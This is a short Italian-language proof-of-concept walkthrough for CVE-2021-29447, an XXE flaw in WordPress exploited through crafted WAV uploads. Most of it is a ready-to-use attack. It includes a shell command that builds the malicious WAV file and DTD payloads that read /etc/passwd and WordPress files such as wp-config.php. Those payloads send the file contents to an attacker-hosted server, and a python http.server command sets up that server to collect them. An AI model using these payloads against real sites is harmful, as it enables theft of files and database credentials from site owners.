
Proof-of-concept exploit per CVE-2021-29447, una vulnerabilità XXE di WordPress che consente la divulgazione arbitraria di file e SSRF tramite file WAV appositamente modificati.
Divulgazione arbitraria di file: il contenuto di qualsiasi file sul filesystem dell'host potrebbe essere recuperato, ad esempio wp-config.php che contiene dati sensibili come le credenziali del database. Server-Side Request Forgery (SSRF): potrebbero essere effettuate richieste HTTP per conto dell'installazione di WordPress. A seconda dell'ambiente, ciò può avere un grave impatto.
Sfruttare la vulnerabilità
Un sito WordPress affetto da questa vulnerabilità è stato identificato nel processo di enumerazione con l'aiuto dello strumento wpscan.

È molto facile, nella tua console bash
nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Sul tuo PC attaccante, crea un dtd con il codice eseguito sul server web.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Nota: per leggere file di WordPress usa la sintassi "../WP-FILE.php"
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Ospita un server python nella directory dei file (python3 -m http.server 8081)